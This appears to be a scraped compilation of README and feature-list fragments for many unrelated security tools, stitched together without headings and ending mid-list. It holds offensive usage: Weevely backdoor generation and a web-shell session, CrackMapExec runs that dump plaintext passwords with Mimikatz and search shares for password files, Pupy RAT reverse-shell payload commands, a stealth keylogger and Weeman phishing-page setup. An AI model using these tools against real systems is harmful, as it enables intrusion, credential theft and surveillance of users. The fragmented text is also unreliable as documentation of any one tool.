• Automatically collects basic recon (ie. whois, ping, DNS, etc.)
• Automatically launches Google hacking queries against a target domain
• Automatically enumerates open ports
• Automatically brute forces sub-domains and DNS info
• Automatically runs targeted nmap scripts against open ports
• Automatically scans all web applications for common vulnerabilities
• Automatically brute forces all open services

chmod +x install.sh
./install.sh

./sn1per

• Multiple Injection points capability with multiple dictionaries
• Recursion (When doing directory bruteforce)
• Post, headers and authentication data brute forcing
• Output to HTML
• Colored output
• Hide results by return code, word numbers, line numbers, regex.
• Cookies fuzzing
• Multi threading
• Proxy support
• SOCK support
• Time delays between requests
• Authentication support (NTLM, Basic)
• All parameters bruteforcing (POST and GET)
• Multiple encoders per payload
• Payload combinations with iterators
• Baseline request (to filter results against)
• Brute force HTTP methods
• Multiple proxy support (each request through a different proxy)
• HEAD scan (faster for resource discovery)
• Dictionaries tailored for known applications (Weblogic, Iplanet, Tomcat, Domino, Oracle 9i, Vignette, Coldfusion and many more.i (Many dictionaries are from Darkraver's Dirb, www.open-labs.org)

• File
• List
• hexrand
• range
• names
• hexrange

• random_uppercase
• urlencode
• binary_ascii
• base64
• double_nibble_hex
• uri_hex
• sha1
• md5
• double_urlencode
• utf8
• utf8_binary
• html
• html decimal
• custom
• many more...

• Product
• Zip
• Chain

• Issue 1306 : Java PermSize command line flag removed in Java 8
• Issue 1593 : Auto-scroll in Spider tab
• Issue 1600 : Dont report X-Frame-Options alert on 403 and 404 pages
• Issue 1654 : httpSessions/createEmptySession should initialize a site that was not previously visited
• Issue 1702 : Add "recurse" option to the spider API
• Issue 1715 : Unable to pass arguments when launching ZAP from the command line on Mac OS X
• Issue 1766 : Remove context via the API
• Issue 1768 : Update to use a more recent user-agent
• Issue 1778 : Passive scan AJAX spider requests
• Issue 1790 : Move Buffer Overflow Scanner from Beta to Release
• Issue 1793 : Allow active scan scripts to check if the scan was stopped
• Issue 1795 : Allow JVM options to be configured via GUI
• Issue 1799 : Minor Feature Request: Allow URL to be pasted into start Spider dialog.
• Issue 1802 : Minor Enhancement: Change active Pause Button to a Play button
• Issue 1849 : Option to merge related issues in reports
• Issue 1857 : Libraries that were updated
• Issue 1865 : Increase maximum db size

• Issue 1760 : Unable to initialize home directory! xml/config.xml (No such file or directory)
• Issue 1763 : Automatic check for updates fails to report new versions
• Issue 1770 : Exceptions when calling (some) context API actions in daemon mode
• Issue 1771 : For OSX the zap.sh in the core download hard-codes the relative java location
• Issue 1772 : On OS X, Found Java version lies
• Issue 1777 : "Cannot locate configuration source null.policy" after opening "Active Scan" dialogue
• Issue 1781 : ZAP errors with "Unsupported option '-psn_x_xxxxxxx'" on OS X
• Issue 1784 : NullPointerException when active scanning through the API with a target without scheme
• Issue 1785 : Plugin enabled even if dependencies are not, "hangs" active scan
• Issue 1787 : Context not used by the Spider even if selected
• Issue 1788 : Scan Progress Pane Needs Sorting Change
• Issue 1789 : Forced Browse/AJAX Spider messages not restored to Sites tab
• Issue 1792 : Report not generated in daemon mode
• Issue 1798 : Stop Attack Feature Locks up ZAP?
• Issue 1804 : Disable processing of XML external entities by default
• Issue 1805 : ZAP API might not return the response in requested format on errors
• Issue 1858 : Spider might report wrong progress after finishing
• Issue 1872 : EDT accessed in daemon mode

• Hardened Kernel with aufs patches
• Backported Wifi stack from latest stable kernel release
• Module loading support ala slax
• Changes saving on usb stick
• XFCE4 wm
• Cuda/OPENCL cracking support with development tools
• System updates if you got it finally installed

• Changes saving (including unetbooting support)
• CUDA/OpenCL Enhanced cracking software
• Kernel 4.0.8 and all needed patches for injection
• XFCE 4.12
• Please see blog for full release notes including known bootloader issues with some versions of unetbootin
• Full tools list.

pip install speedtest-cli

easy_install speedtest-cli

pip install git+https://github.com/sivel/speedtest-cli.git

git clone https://github.com/sivel/speedtest-cli.git
python speedtest-cli/setup.py install

wget -O speedtest-cli https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest_cli.py
chmod +x speedtest-cli

curl -Lo speedtest-cli https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest_cli.py
chmod +x speedtest-cli

$ speedtest-cli -h
usage: speedtest-cli [-h] [--bytes] [--share] [--simple] [--list]
                     [--server SERVER] [--mini MINI] [--source SOURCE]
                     [--timeout TIMEOUT] [--version]

Command line interface for testing internet bandwidth using speedtest.net.
--------------------------------------------------------------------------
https://github.com/sivel/speedtest-cli

optional arguments:
  -h, --help         show this help message and exit
  --bytes            Display values in bytes instead of bits. Does not affect
                     the image generated by --share
  --share            Generate and provide a URL to the speedtest.net share
                     results image
  --simple           Suppress verbose output, only show basic information
  --list             Display a list of speedtest.net servers sorted by
                     distance
  --server SERVER    Specify a server ID to test against
  --mini MINI        URL of the Speedtest Mini server
  --source SOURCE    Source IP address to bind to
  --timeout TIMEOUT  HTTP timeout in seconds. Default 10
  --version          Show the version number and exit

• Shell/PHP telnet-like network terminal
• Common server misconfigurations auditing
• SQL console pivoting on target
• HTTP traffic proxying through target
• Mount target file system to local mount point
• Conduct network scans pivoting on target
• File upload and download
• Spawn reverse and direct TCP shells
• Bruteforce services accounts
• Compress and decompress zip, gzip, bzip2 and tar archives

# Make sure that the python package manager and yaml libraries are installed
$ sudo apt-get install g++ python-pip libyaml-dev python-dev
# Install requirements
$ sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

$ sudo port install python27 py27-pip
$ sudo port select --set pip pip27
$ sudo port select --set python python27
# Ideally, at this point you should install editline library (http://thrysoee.dk/editline/)
# to have a working line completion in terminal. See issue #7 for more info.
$ sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade

# Enter in a folder which allows to call pip.exe usually C:\Python27\Scripts\ with no %PATH% set and
# install the following requirements
> pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

$ ./weevely.py 
[+] weevely 3.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password>

[+] Load session file
    weevely session <path>

[+] Generate backdoor agent
    weevely generate <password> <path>

$ ./weevely.py generate mypassword agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size.

 $ ./weevely.py http://target/agent.php mypassword
weevely> 

weevely> ls
agent.php
index.html
joomla-3.2.1
www-data@target:/var/www $ cd ..
www-data@target:/var/ $ whoami
www-data
www-data@target:/var/ $ uname -a
Linux ubuntu 3.2.0-65-generic 99-Ubuntu SMP Fri Jul 4 21:04:27 UTC 2014 i686 i686 i386 GNU/Linux
www-data@target:/var/ $

$ pip install -r requirements.txt

$ python wphardening.py -h 

 __          _______  _    _               _            _
 \ \        / /  __ \| |  | |             | |          (_)
  \ \  /\  / /| |__) | |__| | __ _ _ __ __| | ___ _ __  _ _ __   __ _
   \ \/  \/ / |  ___/|  __  |/ _` | '__/ _` |/ _ \ '_ \| | '_ \ / _` |
    \  /\  /  | |    | |  | | (_| | | | (_| |  __/ | | | | | | | (_| |
     \/  \/   |_|    |_|  |_|\__,_|_|  \__,_|\___|_| |_|_|_| |_|\__, |
                                                                 __/ |
        Fortify the security of any WordPress installation.     |___/

           Sponsored by SYHUNT - http://www.syhunt.com

Usage: python wphardening.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v, --verbose         Active verbose mode output results
  --update              Check for WPHardening latest stable version

  Target:
    This option must be specified to modify the package WordPress.

    -d DIRECTORY, --dir=DIRECTORY
                        **REQUIRED** - Working Directory.
    --load-conf=FILE    Load file configuration.

  Hardening:
    Different tools to hardening WordPress.

    -c, --chmod         Chmod 755 in directory and 644 in files.
    -r, --remove        Remove files and directory.
    -b, --robots        Create file robots.txt
    -f, --fingerprinting
                        Deleted fingerprinting WordPress.
    -t, --timthumb      Find the library TimThumb.
    --chown=user:group  Changing file and directory owner.
    --wp-config         Wizard generated wp-config.php
    --plugins           Download Plugins Security.
    --proxy=PROXY       Use a HTTP proxy to connect to the target url for
                        --plugins and --wp-config.
    --indexes           It allows you to display the contents of directories.
    --minify            Compressing static file .css and .js
    --malware-scan      Malware Scan in WordPress project.

  Miscellaneous:
    -o FILE, --output=FILE
                        Write log report to FILE.log

$ python wphardening.py -d /home/path/to/wordpress -v

$ python wphardening.py -d /home/path/to/wordpress --chmod -v

$ python wphardening.py -d /home/path/to/wordpress --remove -v

$ python wphardening.py -d /home/path/to/wordpress --robots -v

$ python wphardening.py -d /home/path/to/wordpress --fingerprinting -v

$ python wphardening.py -d /home/path/to/wordpress --timthumb -v

$ python wphardening.py -d /home/path/to/wordpress --indexes -v

• AntiVirus
• Bad Behavior
• Block Bad Queries
• Exploit Scanner
• Latch
• Simple History
• Stream
• WP Security Scan
• WP-DBManager

$ python wphardening.py -d /home/path/to/wordpress --plugins

$ python wphardening.py -d /home/path/to/wordpress --wp-config

$ python wphardening.py --update

$ python wphardening.py -d /home/path/to/wordpress -c -r -f -t --wp-config --indexes --plugins -o /home/user/wphardening.log

• Pure Python script, no external tools required
• Fully concurrent threading
• Uses ONLY native WinAPI calls for discovering sessions, users, dumping SAM hashes etc...
• Opsec safe (no binaries are uploaded to dump clear-text credentials, inject shellcode etc...)

  ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______ 
 /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
|  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
|  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |     
|  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
 \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|

                Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r

                      Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)

                                                  Inspired by:
                           @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
                           @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
                           @pentestgeek's smbexec https://github.com/pentestgeek/smbexec

positional arguments:
  target                The target range, CIDR identifier or file containing targets

optional arguments:
  -h, --help            show this help message and exit
  -t THREADS            Set how many concurrent threads to use
  -u USERNAME           Username, if omitted null session assumed
  -p PASSWORD           Password
  -H HASH               NTLM hash
  -n NAMESPACE          Namespace name (default //./root/cimv2)
  -d DOMAIN             Domain name
  -s SHARE              Specify a share (default: C$)
  -P {139,445}          SMB port (default: 445)
  -v                    Enable verbose output

Credential Gathering:
  Options for gathering credentials

  --sam                 Dump SAM hashes from target systems
  --mimikatz            Run Invoke-Mimikatz on target systems
  --ntds {ninja,vss,drsuapi}
                        Dump the NTDS.dit from target DCs using the specifed method
                        (drsuapi is the fastest)

Mapping/Enumeration:
  Options for Mapping/Enumerating

  --shares              List shares
  --sessions            Enumerate active sessions
  --users               Enumerate users
  --lusers              Enumerate logged on users
  --wmi QUERY           Issues the specified WMI query

Account Bruteforcing:
  Options for bruteforcing SMB accounts

  --bruteforce USER_FILE PASS_FILE
                        Your wordlists containing Usernames and Passwords
  --exhaust             Don't stop on first valid account found

Spidering:
  Options for spidering shares

  --spider FOLDER       Folder to spider (defaults to share root dir)
  --pattern PATTERN     Pattern to search for in filenames and folders
  --patternfile PATTERNFILE
                        File containing patterns to search for
  --depth DEPTH         Spider recursion depth (default: 1)

Command Execution:
  Options for executing commands

  --execm {atexec,wmi,smbexec}
                        Method to execute the command (default: smbexec)
  -x COMMAND            Execute the specified command
  -X PS_COMMAND         Excute the specified powershell command

Shellcode/EXE/DLL injection:
  Options for injecting Shellcode/EXE/DLL's using PowerShell

  --inject {exe,shellcode,dll}
                        Inject Shellcode, EXE or a DLL
  --path PATH           Path to the Shellcode/EXE/DLL you want to inject on the target systems
  --procid PROCID       Process ID to inject the Shellcode/EXE/DLL into (if omitted, will inject within the running PowerShell process)
  --exeargs EXEARGS     Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)

Filesystem interaction:
  Options for interacting with filesystems

  --list PATH           List contents of a directory
  --download PATH       Download a file from the remote systems
  --upload SRC DST      Upload a file to the remote systems
  --delete PATH         Delete a remote file

There's been an awakening... have you felt it?

#~ python crackmapexec.py -t 100 172.16.206.0/24
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)
[+] 172.16.206.133:445 is running Windows 6.3 Build 9600 (name:DRUGOUTCOVE-PC) (domain:DRUGOUTCOVE-PC)
[+] 172.16.206.130:445 is running Windows 10.0 Build 10240 (name:DESKTOP-QDVNP6B) (domain:DESKTOP-QDVNP6B)

#~  python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password --shares
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)
[+] 172.16.206.133:445 is running Windows 6.3 Build 9600 (name:DRUGOUTCOVE-PC) (domain:DRUGOUTCOVE-PC)
[+] 172.16.206.130:445 is running Windows 10.0 Build 10240 (name:DESKTOP-QDVNP6B) (domain:DESKTOP-QDVNP6B)
[+] 172.16.206.130:445 DESKTOP-QDVNP6B Available shares:
    SHARE           Permissions
    -----           -----------
    ADMIN$          READ, WRITE
    IPC$            NO ACCESS
    C$              READ, WRITE
[+] 172.16.206.133:445 DRUGOUTCOVE-PC Available shares:
    SHARE           Permissions
    -----           -----------
    Users           READ, WRITE
    ADMIN$          READ, WRITE
    IPC$            NO ACCESS
    C$              READ, WRITE
[+] 172.16.206.132:445 DRUGCOMPANY-PC Available shares:
    SHARE           Permissions
    -----           -----------
    Users           READ, WRITE
    ADMIN$          READ, WRITE
    IPC$            NO ACCESS
    C$              READ, WRITE

#~ python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password -x whoami
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)
[+] 172.16.206.130:445 is running Windows 10.0 Build 10240 (name:DESKTOP-QDVNP6B) (domain:DESKTOP-QDVNP6B)
[+] 172.16.206.132:445 DRUGCOMPANY-PC Executed specified command via SMBEXEC
nt authority\system

[+] 172.16.206.130:445 DESKTOP-QDVNP6B Executed specified command via SMBEXEC
nt authority\system

[+] 172.16.206.133:445 is running Windows 6.3 Build 9600 (name:DRUGOUTCOVE-PC) (domain:DRUGOUTCOVE-PC)
[+] 172.16.206.133:445 DRUGOUTCOVE-PC Executed specified command via SMBEXEC
nt authority\system

#~ python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password --execm wmi -x whoami
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)
[+] 172.16.206.133:445 is running Windows 6.3 Build 9600 (name:DRUGOUTCOVE-PC) (domain:DRUGOUTCOVE-PC)
[+] 172.16.206.130:445 is running Windows 10.0 Build 10240 (name:DESKTOP-QDVNP6B) (domain:DESKTOP-QDVNP6B)
[+] 172.16.206.132:445 DRUGCOMPANY-PC Executed specified command via WMI
drugcompany-pc\administrator

[+] 172.16.206.133:445 DRUGOUTCOVE-PC Executed specified command via WMI
drugoutcove-pc\administrator

[+] 172.16.206.130:445 DESKTOP-QDVNP6B Executed specified command via WMI
desktop-qdvnp6b\drugdealer

#~ python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password --mimikatz
[*] Press CTRL-C at any time to exit
[*] Note: This might take some time on large networks! Go grab a redbull!
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)
[+] 172.16.206.133:445 is running Windows 6.3 Build 9600 (name:DRUGOUTCOVE-PC) (domain:DRUGOUTCOVE-PC)
[+] 172.16.206.130:445 is running Windows 10.0 Build 10240 (name:DESKTOP-QDVNP6B) (domain:DESKTOP-QDVNP6B)
172.16.206.130 - - [19/Aug/2015 18:57:40] "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
172.16.206.133 - - [19/Aug/2015 18:57:40] "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
172.16.206.132 - - [19/Aug/2015 18:57:41] "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
172.16.206.133 - - [19/Aug/2015 18:57:45] "POST / HTTP/1.1" 200 -
[+] 172.16.206.133 Found plain text creds! Domain: drugoutcove-pc Username: drugdealer Password: IloveMETH!@$
[*] 172.16.206.133 Saved POST data to Mimikatz-172.16.206.133-2015-08-19_18:57:45.log
172.16.206.130 - - [19/Aug/2015 18:57:47] "POST / HTTP/1.1" 200 -
[*] 172.16.206.130 Saved POST data to Mimikatz-172.16.206.130-2015-08-19_18:57:47.log
172.16.206.132 - - [19/Aug/2015 18:57:48] "POST / HTTP/1.1" 200 -
[+] 172.16.206.132 Found plain text creds! Domain: drugcompany-PC Username: drugcompany Password: IloveWEED!@#
[+] 172.16.206.132 Found plain text creds! Domain: DRUGCOMPANY-PC Username: drugdealer Password: D0ntDoDrugsKIDS!@#
[*] 172.16.206.132 Saved POST data to Mimikatz-172.16.206.132-2015-08-19_18:57:48.log

#~ python crackmapexec.py -t 150 172.16.206.0/24 -u username -p password --spider Users --depth 10 --pattern password
[+] 172.16.206.132:445 is running Windows 6.1 Build 7601 (name:DRUGCOMPANY-PC) (domain:DRUGCOMPANY-PC)
[+] 172.16.206.133:445 is running Windows 6.3 Build 9600 (name:DRUGOUTCOVE-PC) (domain:DRUGOUTCOVE-PC)
[+] 172.16.206.132:445 DRUGCOMPANY-PC Started spidering
[+] 172.16.206.130:445 is running Windows 10.0 Build 10240 (name:DESKTOP-QDVNP6B) (domain:DESKTOP-QDVNP6B)
[+] 172.16.206.133:445 DRUGOUTCOVE-PC Started spidering
[+] 172.16.206.130:445 DESKTOP-QDVNP6B Started spidering
//172.16.206.132/Users/drugcompany/AppData/Roaming/Microsoft/Windows/Recent/supersecrepasswords.lnk
//172.16.206.132/Users/drugcompany/AppData/Roaming/Microsoft/Windows/Recent/supersecretpasswords.lnk
//172.16.206.132/Users/drugcompany/Desktop/supersecretpasswords.txt
[+] 172.16.206.132:445 DRUGCOMPANY-PC Done spidering (Completed in 7.0349509716)
//172.16.206.133/Users/drugdealerboss/Documents/omgallthepasswords.txt
[+] 172.16.206.133:445 DRUGOUTCOVE-PC Done spidering (Completed in 16.2127850056)
//172.16.206.130/Users/drugdealer/AppData/Roaming/Microsoft/Windows/Recent/superpasswords.txt.lnk
//172.16.206.130/Users/drugdealer/Desktop/superpasswords.txt.txt
[+] 172.16.206.130:445 DESKTOP-QDVNP6B Done spidering (Completed in 38.6000130177)

• MITM over IPv4 networks with ARP Spoofing and DHCP ACK Injection.
• MITM on IPv6 networks with Neighbor Advertisement Spoofing, SLAAC attack, fake DHCPv6.
• DoS (Denial of Service) on IPv4 networks with ARP Spoofing.
• DoS (Denial of Service) on IPv6 networks with SLAAC DoS.
• DNS Hijacking.

• Windows XP or later.
• .NET Framework 4 or later.
• Winpcap library (http://www.winpcap.org)

• ARP Spoofing: Consists in sending ARP messages to the Ethernet network. Normally the objective is to associate the MAC address of the attacker with the IP of another device. Any traffic directed to the IP address of the predetermined link gate will be erroneously sent to the attacker instead of its real destination.
• DHCP ACK Injection: Consists in an attacker monitoring the DHCP exchanges and, at some point during the communication, sending a packet to modify its behavior. Evil Foca converts the machine in a fake DHCP server on the network.
• Neighbor Advertisement Spoofing: The principle of this attack is identical to that of ARP Spoofing, with the difference being in that IPv6 doesn’t work with the ARP protocol, but that all information is sent through ICMPv6 packets. There are five types of ICMPv6 packets used in the discovery protocol and Evil Foca generates this type of packets, placing itself between the gateway and victim.
• SLAAC attack: The objective of this type of attack is to be able to execute an MITM when a user connects to Internet and to a server that does not include support for IPv6 and to which it is therefore necessary to connect using IPv4. This attack is possible due to the fact that Evil Foca undertakes domain name resolution once it is in the communication media, and is capable of transforming IPv4 addresses in IPv6.
• Fake DHCPv6 server: This attack involves the attacker posing as the DCHPv6 server, responding to all network requests, distributing IPv6 addresses and a false DNS to manipulate the user destination or deny the service.
• Denial of Service (DoS) attack: The DoS attack is an attack to a system of machines or network that results in a service or resource being inaccessible for its users. Normally it provokes the loss of network connectivity due to consumption of the bandwidth of the victim’s network, or overloads the computing resources of the victim’s system.
• DoS attack in IPv4 with ARP Spoofing: This type of DoS attack consists in associating a nonexistent MAC address in a victim’s ARP table. This results in rendering the machine whose ARP table has been modified incapable of connecting to the IP address associated to the nonexistent MAC.
• DoS attack in IPv6 with SLAAC attack: In this type of attack a large quantity of “router advertisement” packets are generated, destined to one or several machines, announcing false routers and assigning a different IPv6 address and link gate for each router, collapsing the system and making machines unresponsive.
• DNS Hijacking: The DNS Hijacking attack or DNS kidnapping consists in altering the resolution of the domain names system (DNS). This can be achieved using malware that invalidates the configuration of a TCP/IP machine so that it points to a pirate DNS server under the attacker’s control, or by way of an MITM attack, with the attacker being the party who receives the DNS requests, and responding himself or herself to a specific DNS request to direct the victim toward a specific destination selected by the attacker.

1. Extraction of prototypes:From a given set of reports, malheur identifies a subset of prototypes representative for the full data set. The prototypes provide a quick overview of recorded behavior and can be used to guide manual inspection.
2. Clustering of behavior Malheur automatically identifies groups (clusters) of reports containing similar behavior. Clustering allows for discovering novel classes of malware and provides the basis for crafting specific detection and defense mechanisms, such as anti-virus signatures.
3. Classification of behavior: Based on a set of previously clustered reports, malheur is able to assign unknown behavior to known groups of malware. Classification enables identifying novel and unknown variants of malware and can be used to filter program behavior prior to manual inspection.
4. Incremental analysis: Malheur can be applied incrementally for analysis of large data sets. By processing reports in chunks, the run-time as well as memory requirements can be significantly reduced. This renders long-term application of malheur feasible, for example for daily analysis of incoming malware programs.

gcc
libconfig9-dev
libarchive-dev

automake
autoconf
libtool

libconfig
libarchive (from homebrew-alt)

gmake
libconfig
libarchive

autoconf
automake
libtool

$ ./bootstrap

$ ./configure [options]
$ make
$ make check
$ make install

--prefix=PATH           Set directory prefix for installation

• Full x86 and x64 PE file support.
• Open Source
• Fully working on Windows and Linux, including automated installation scripts.
• Can be operated on embedded hardware, tested on a Rasperberry Pi 2.
• On Linux, all servers will be automatically integrated as service, no manual configuration required.
• Plain C, no external libraries required (peinjector).
• MITM integration is available in C, Python and Java. A sample Python MITM implementation is included.
• Foolproof, mobile-ready web interface. Anyone who can configure a home router can configure the injector server.
• Easy to use integrated shellcode factory, including reverse shells, meterpreter, ... or own shellcode. Everything is available in 32 and 64 bit with optional automated encryption. Custom shellcode can be injected directly or as a new thread.
• An awesome about page and much more, check it out.

Tiger is a security tool that can be use both as a security audit and intrusion detection system. It supports multiple UNIX platforms and it is free and provided under a GPL license. Unlike other tools, Tiger needs only of POSIX tools and is written entirely in shell language.

sudo apt-get install tiger

• Free Tool to Monitor Keystokes in stealth manner
• Monitor both 32-bit & 64-bit applications
• Automatically run at Startup
• No need for administrator privileges
• Settings dialog to change various options
• Stores keyboard activities silently to a log file
• Very easy to use with just a click of button
• Displays current status of key logger at any time
• Includes Installer for local installation & un-installation

• Run 'Windows Spy Keylogger' on your system
• It will show you the current status of Keylogger as seen in the screenshots below.
• Now you can just click on button below to Start or Stop Keylogger
• That's all :)

• On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :)
• Pupy can reflectively migrate into other processes
• Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented).
• modules are quite simple to write and pupy is easily extensible.
• Pupy uses rpyc and a module can directly access python objects on the remote client
  • we can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works !
• communication channel currently works as a ssl reverse connection, but a bind payload will be implemented in the future
• all the non interactive modules can be dispatched on multiple hosts in one command
• Multi-platform (tested on windows 7, windows xp, kali linux, ubuntu)
• modules can be executed as background jobs
• commands and scripts running on remote hosts are interruptible
• auto-completion and nice colored output :-)
• commands aliases can be defined in the config

• migrate (windows only)
  • inter process architecture injection also works (x86->x64 and x64->x86)
• keylogger (windows only)
• persistence (windows only)
• screenshot (windows only)
• webcam snapshot (windows only)
• command execution
• download
• upload
• socks5 proxy
• local port forwarding
• interactive shell (cmd.exe, /bin/sh, ...)
• interactive python shell
• shellcode exec (thanks to @byt3bl33d3r)

./genpayload.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

pip install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

easy_install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

1. eventually edit pupy.conf to change the bind address / port
2. start the pupy server :

./pupysh.py

import ctypes
import threading

def MessageBox(text, title):
    t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
    t.daemon=True
    t.start()

class MsgBoxPopup(PupyModule):
    """ Pop up a custom message box """

    def init_argparse(self):
        self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
        self.arg_parser.add_argument('--title', help='msgbox title')
        self.arg_parser.add_argument('text', help='text to print in the msgbox :)')

    @windows_only
    def is_compatible(self):
        pass

    def run(self, args):
        self.client.load_package("pupwinutils.msgbox")
        self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
        self.log("message box popped !")

• support for https proxy
• bind instead of reverse connection
• add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc...
• integrate scapy in the windows dll :D (that would be fun)
• work on stealthiness and modules under unix systems
• webcam snap
• mic recording
• socks5 udp support
• remote port forwarding
• perhaps write some documentation
• ...
• any cool idea ?

1. Go
2. PhantomJS, v2
3. Sqlmap (for fuzzing SQLi)
4. Arachni (for fuzzing XSS and web vulnerabilities)
5. NSQ ,
   • running lookupd at port 4160,4161
   • running nsqd at port 4150,4151
   • with --max-msg-size=5000000
6. Kibana and Elastic search, for dashboarding
   • listening to JSON over port 5000
   • Preconfigured docker image available in https://hub.docker.com/r/yukinying/elk/

go get github.com/yahoo/gryffin/...

1. Mobile browser user agent
2. Preconfigured docker images
3. Redis for sharing states across machines
4. Instruction to run gryffin (distributed or standalone)
5. Documentation for html-distance
6. Implement a JSON serializable cookiejar.
7. Identify duplicate url patterns based on simhash result.

git clone https://github.com/hybridus/heartbleedscanner.git

python heartbleedscan.py -n 192.168.1.0/24 -f localscan.txt -r

python heartbleedscan.py -n 192.168.1.0/24 -p 25 -s SMTP -r

python heartbleedscan.py -i targetlist.txt

yum install python-netaddr

apt-get insall python-netaddr

1. Create fake html page.
2. Wait for clients
3. Grab the data (POST).
4. Try to login the client to the original page

• Python <= 2.7.
• Python BeautifulSoup 4

• Archlinux - sudo pacman -S python2-beautifulsoup4
• Ubuntu/Linuxmint - sudo apt-get install python-bs4
• For another OS: - sudo pip install beautifulsoup4

• Linux (any)
• Mac (Not tested)
• Windows (Not tested)

• For port 80 you need to run Weeman as root!
• Host to clone (Ex: www.social-networks.local)
  

  set url http://localhost

• "<"form action = "TAKE THIS URL">"(View the site source and take the URL)
  

  set action_url http://localhost/sendlogin 

• The port Weeman server will listen
  

  set port 2020

• Start the server
  

  run

$ python qark.py

$ python qark.py --source 1 --pathtoapk /Users/foo/qark/sampleApps/goatdroid/goatdroid.apk --exploit 1 --install 1
or
$ python qark.py --source 2 -c /Users/foo/qark/sampleApps/goatdroid/goatdroid --manifest /Users/foo/qark/sampleApps/goatdroid/goatdroid/AndroidManifest.xml --exploit 1 --install 1

• python 2.7.6
• JRE 1.6+ (preferably 1.7+)
• OSX or Ubuntu Linux (Others may work, but not fully tested)

• Inadvertently exported components
• Improperly protected exported components
• Intents which are vulnerable to interception or eavesdropping
• Improper x.509 certificate validation
• Creation of world-readable or world-writeable files
• Activities which may leak data
• The use of Sticky Intents
• Insecurely created Pending Intents
• Sending of insecure Broadcast Intents
• Private keys embedded in the source
• Weak or improper cryptography use
• Potentially exploitable WebView configurations
• Exported Preference Activities
• Tapjacking
• Apps which enable backups
• Apps which are debuggable
• Apps supporting outdated API versions, with known vulnerabilities

• Rewrite of code to support extensibility
• Bound Service vulnerability detection and exploitation
• Content Provider vulnerability detection and exploitation
• Additional WebView configuration demonstrations
• Static Tapjacking mitigation detection
• File browser capable of using root permissions

• We believe in open, free, and uncensored network and communication.
• No single point of failure: Site remains online so long as at least 1 peer serving it.
• No hosting costs: Sites are served by visitors.
• Impossible to shut down: It's nowhere because it's everywhere.
• Fast and works offline: You can access the site even if your internet is unavailable.

• Real-time updated sites
• Namecoin .bit domains support
• Easy to setup: unpack & run
• Clone websites in one click
• Password-less BIP32based authorization: Your account is protected by same cryptography as your Bitcoin wallet
• Built-in SQL server with P2P data synchronization: Allows easier site development and faster page load times
• Tor network support
• TLS encrypted connections
• Automatic, uPnP port opening
• Plugin for multiuser (openproxy) support
• Works with any browser/OS

• After starting zeronet.py you will be able to visit zeronet sites using http://127.0.0.1:43110/{zeronet_address} (eg. http://127.0.0.1:43110/1EU1tbG9oC1A8jz2ouVwGZyQ5asrNsE4Vr).
• When you visit a new zeronet site, it tries to find peers using the BitTorrent network so it can download the site files (html, css, js...) from them.
• Each visited site becomes also served by you.
• Every site contains a site.json which holds all other files in a sha512 hash and a signature generated using site's private key.
• If the site owner (who has the private key for the site address) modifies the site, then he/she signs the new content.json and publishes it to the peers. After the peers have verified the content.json integrity (using the signature), they download the modified files and publish the new content to other peers.

• Download ZeroBundle package that includes Python 2.7.9 and all required libraries
• Unpack to any directory
• Run zeronet.cmd

• Install Python 2.7
• Install Python Greenlet
• Install Python Gevent
• Install Python MsgPack
• Download and extract ZeroNet to any directory
• Run start.py

• sudo apt-get update
